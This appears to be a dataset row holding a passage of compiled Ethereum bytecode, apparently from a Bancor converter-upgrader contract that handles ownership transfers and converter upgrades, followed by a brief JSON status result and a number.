f436f6e747261637446656174757265730000000000000000000000000000000081565b600054600160a060020a031681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b7f42616e636f7247617350726963654c696d69740000000000000000000000000081565b600181565b600080807f302e3400000000000000000000000000000000000000000000000000000000008414156105da57600192505b6105e3856109af565b6105ec85610ab2565b91506105f9858385610e59565b6106038583611126565b61060d85836111da565b61061885838561139c565b84600160a060020a031663fc0c546a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561065557600080fd5b5af1151561066257600080fd5b50505060405180519050905084600160a060020a031681600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106b557600080fd5b5af115156106c257600080fd5b50505060405180519050600160a060020a031614156107875784600160a060020a03166321e6b53d8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561072957600080fd5b5af1151561073657600080fd5b50505081600160a060020a03166338a5e0166040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561077657600080fd5b5af1151561078357600080fd5b5050505b84600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156107d557600080fd5b5af115156107e257600080fd5b50505081600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561083357600080fd5b5af1151561084057600080fd5b50505081600160a060020a031663e4edf8523360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561089157600080fd5b5af1151561089e57600080fd5b50505081600160a060020a031685600160a060020a03167f522b846327aea07106ec4d64ae4b6d6dea47689884dab650fd3a1f2e1d6a270160405160405180910390a35050505050565b600454600160a060020a031681565b600154600160a060020a031681565b60005433600160a060020a0390811691161461091e57fe5b600054600160a060020a038281169116141561093957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461098057fe5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b80600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156109ec57600080fd5b5af115156109f957600080fd5b50505060405180519050600160a060020a031633600160a060020a0316141515610a2257600080fd5b80600160a060020a03166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515610a5f57600080fd5b5af11515610a6c57600080fd5b50505030600160a060020a031681600160a060020a03167ff764604894fa993d4370a9cb28b81c11deb1aafdb2909156173ae3833dad807560405160405180910390a350565b600080600080600080600087600160a060020a031663fc0c546a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610afa57600080fd5b5af11515610b0757600080fd5b5050506040518051955050600160a060020a0388166394c275ad6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b4f57600080fd5b5af11515610b5c57600080fd5b5050506040518051600454600354919650600160a060020a03908116925063034efaeb918891168760008060405163ffffffff87811660e060020a028252600160a060020a03968716600483015294861660248201529284166044840152931660648201529116608482015260a401602060405180830381600087803b1515610be457600080fd5b5af11515610bf157600080fd5b5050506040518051935083925050600160a060020a0382166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515610c3c57600080fd5b5af11515610c4957600080fd5b50505081600160a060020a031663c8c2fe6c6040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515610c8957600080fd5b5af11515610c9657600080fd5b5050600354600160a060020a031690506321f8a7217f436f6e747261637446656174757265730000000000000000000000000000000060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d0257600080fd5b5af11515610d0f57600080fd5b5050506040518051915050600160a060020a03811663a5fbf28789600160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d6f57600080fd5b5af11515610d7c57600080fd5b5050506040518051905015610e4e5787600160a060020a031663c45d3d926040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610dc857600080fd5b5af11515610dd557600080fd5b5050506040518051965050600160a060020a03861615610e4e5781600160a060020a0316634af80f0e8760405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610e3d57600080fd5b5af11515610e4a57600080fd5b5050505b509695505050505050565b600080600080600080600080600089610ec5578b600160a060020a03166371f52bf36040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ea957600080fd5b5af11515610eb657600080fd5b50505060405180519050610f1a565b8b600160a060020a0316639b99a8e26040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f0257600080fd5b5af11515610f0f57600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff1610156111185789610f9b578b600160a060020a03166319b640158460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610f7f57600080fd5b5af11515610f8c57600080fd5b50505060405180519050610ffc565b8b600160a060020a031663d031370b8460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610fe457600080fd5b5af11515610ff157600080fd5b505050604051805190505b91506110098c838c611620565b939c50919a50985096509450819050600160a060020a038b16633f4d2fc2828a8a60405163ffffffff85811660e060020a028252600160a060020a039490941660048201529190921660248201529015156044820152606401600060405180830381600087803b151561107b57600080fd5b5af1151561108857600080fd5b505050861561110d578a600160a060020a0316630ca78923828a8a8d60405163ffffffff86811660e060020a028252600160a060020a03959095166004820152929093166024830152151560448201526064810191909152608401600060405180830381600087803b15156110fc57600080fd5b5af1151561110957600080fd5b5050505b600190920191610f21565b505050505050505050505050565b600082600160a060020a031663579cd3ca6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561116557600080fd5b5af1151561117257600080fd5b5050506040518051915050600160a060020a03821663ecbca55d8260405163ffffffff83811660e060020a028252919091166004820152602401600060405180830381600087803b15156111c557600080fd5b5af115156111d257600080fd5b505050505050565b60006111e4611741565b600084600160a060020a0316639396a7f06040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561122357600080fd5b5af1151561123057600080fd5b50505060405180519350506000831161124857611395565b826040518059106112565750595b90808252806020026020018201604052509150600090505b828110156112fe5784600160a060020a031663e7ee85a58260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156112bc57600080fd5b5af115156112c957600080fd5b505050604051805190508282815181106112df57fe5b600160a060020a0390921660209283029091019091015260010161126e565b83600160a060020a031663d395ee0f836040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019060200280838360005b83811015611360578082015183820152602001611348565b5050505090500192505050600060405180830381600087803b151561138457600080fd5b5af1151561139157600080fd5b5050505b5050505050565b6000806000806000856114025787600160a060020a03166371f52bf36040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156113e657600080fd5b5af115156113f357600080fd5b50505060405180519050611457565b87600160a060020a0316639b99a8e26040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561143f57600080fd5b5af1151561144c57600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff16101561139157856114d85787600160a060020a03166319b640158460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b15156114bc57600080fd5b5af115156114c957600080fd5b50505060405180519050611539565b87600160a060020a031663d031370b8460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b151561152157600080fd5b5af1151561152e57600080fd5b505050604051805190505b915081905080600160a060020a03166370a082318960405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561158c57600080fd5b5af1151561159957600080fd5b5050506040518051955050600160a060020a038816635e35359e82898860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561160557600080fd5b5af1151561161257600080fd5b50506001909301925061145e565b6000806000806000856116af5787600160a060020a0316630e53aae98860405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b151561167b57600080fd5b5af1151561168857600080fd5b5050506040518051906020018051906020018051906020018051906020018051905061172d565b87600160a060020a031663d66bd5248860405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b15156116fd57600080fd5b5af1151561170a57600080fd5b505050604051805190602001805190602001805190602001805190602001805190505b939c929b5090995097509095509350505050565b602060405190810160405260008152905600a165627a7a72305820119d4a84807877b20831ee74666c8d33958212b31313fa0ef3dee4ef7f615a320029
|
{"success": true, "error": null, "results": {}}
| 4,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.